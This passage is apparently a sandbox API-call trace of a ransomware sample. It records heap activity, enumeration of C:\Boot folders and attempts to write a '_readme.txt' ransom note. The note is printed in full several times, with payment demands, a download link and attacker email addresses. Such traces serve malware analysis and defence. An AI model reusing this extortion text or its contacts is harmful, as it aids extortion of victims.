lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.783] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.783] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.783] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.783] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.784] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.784] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.784] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.784] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.784] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.784] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.784] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.784] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.784] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.784] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.784] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.784] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.784] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.784] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.784] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.784] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.784] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.784] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.784] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.784] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.784] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.784] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.784] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.784] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.784] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.784] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.784] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.784] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.784] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.784] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.784] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.785] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.785] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.785] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.785] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.785] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.785] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.785] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.785] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.785] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.785] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.785] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.785] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.785] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.785] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.785] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.785] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.785] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.785] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.785] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.785] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.785] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.785] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.785] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.785] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.785] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.785] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.785] PathFindFileNameW (pszPath="C:\\Boot\\en-US\\") returned="en-US\\" [0111.785] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.785] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.785] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.785] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.785] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.786] PathFindFileNameW (pszPath="") returned="" [0111.786] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.786] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.786] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.786] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x800) returned 0x7b13900 [0111.786] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.786] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7b14108 [0111.786] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.786] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14108 | out: hHeap=0x5010000) returned 1 [0111.786] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.786] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.786] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.786] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.786] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.786] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.786] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.786] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x81c) returned 0x7ac3918 [0111.786] PathAppendW (in: pszPath="C:\\Boot\\en-US\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\en-US\\_readme.txt") returned 1 [0111.786] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac41a0 [0111.786] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.786] PathFileExistsW (pszPath="C:\\Boot\\en-US\\_readme.txt") returned 0 [0111.787] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b162e0 [0111.787] lstrcpyW (in: lpString1=0x7b162e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.787] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.787] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac4a28 [0111.787] CreateFileW (lpFileName="C:\\Boot\\en-US\\_readme.txt" (normalized: "c:\\boot\\en-us\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.787] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.787] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b162e0 | out: hHeap=0x5010000) returned 1 [0111.787] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.787] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.787] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.787] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.787] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.787] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.787] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.787] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1afa0 [0111.787] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.787] PathFindExtensionW (pszPath="C:\\Boot\\en-US\\bootmgr.exe.mui") returned=".mui" [0111.787] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.788] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1afa0 | out: hHeap=0x5010000) returned 1 [0111.788] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0111.788] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.788] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1afa0 [0111.788] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.788] PathFindExtensionW (pszPath="C:\\Boot\\en-US\\memtest.exe.mui") returned=".mui" [0111.788] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.788] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1afa0 | out: hHeap=0x5010000) returned 1 [0111.788] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0111.788] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.788] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.788] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a36078 | out: hHeap=0x5010000) returned 1 [0111.788] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.788] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a36078 [0111.788] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.788] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.788] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.788] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.788] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.788] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.788] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.788] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.788] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.788] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.788] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.789] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.789] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.789] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.789] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.789] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.789] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.789] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.789] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.789] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.789] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.789] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.789] PathFindFileNameW (pszPath="C:\\Boot\\es-ES\\") returned="es-ES\\" [0111.789] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.789] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.789] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.789] PathFindFileNameW (pszPath="") returned="" [0111.789] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.789] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.790] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.790] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.790] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.790] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.790] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.790] PathAppendW (in: pszPath="C:\\Boot\\es-ES\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 1 [0111.790] PathFileExistsW (pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 0 [0111.790] lstrcpyW (in: lpString1=0x7b162e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, 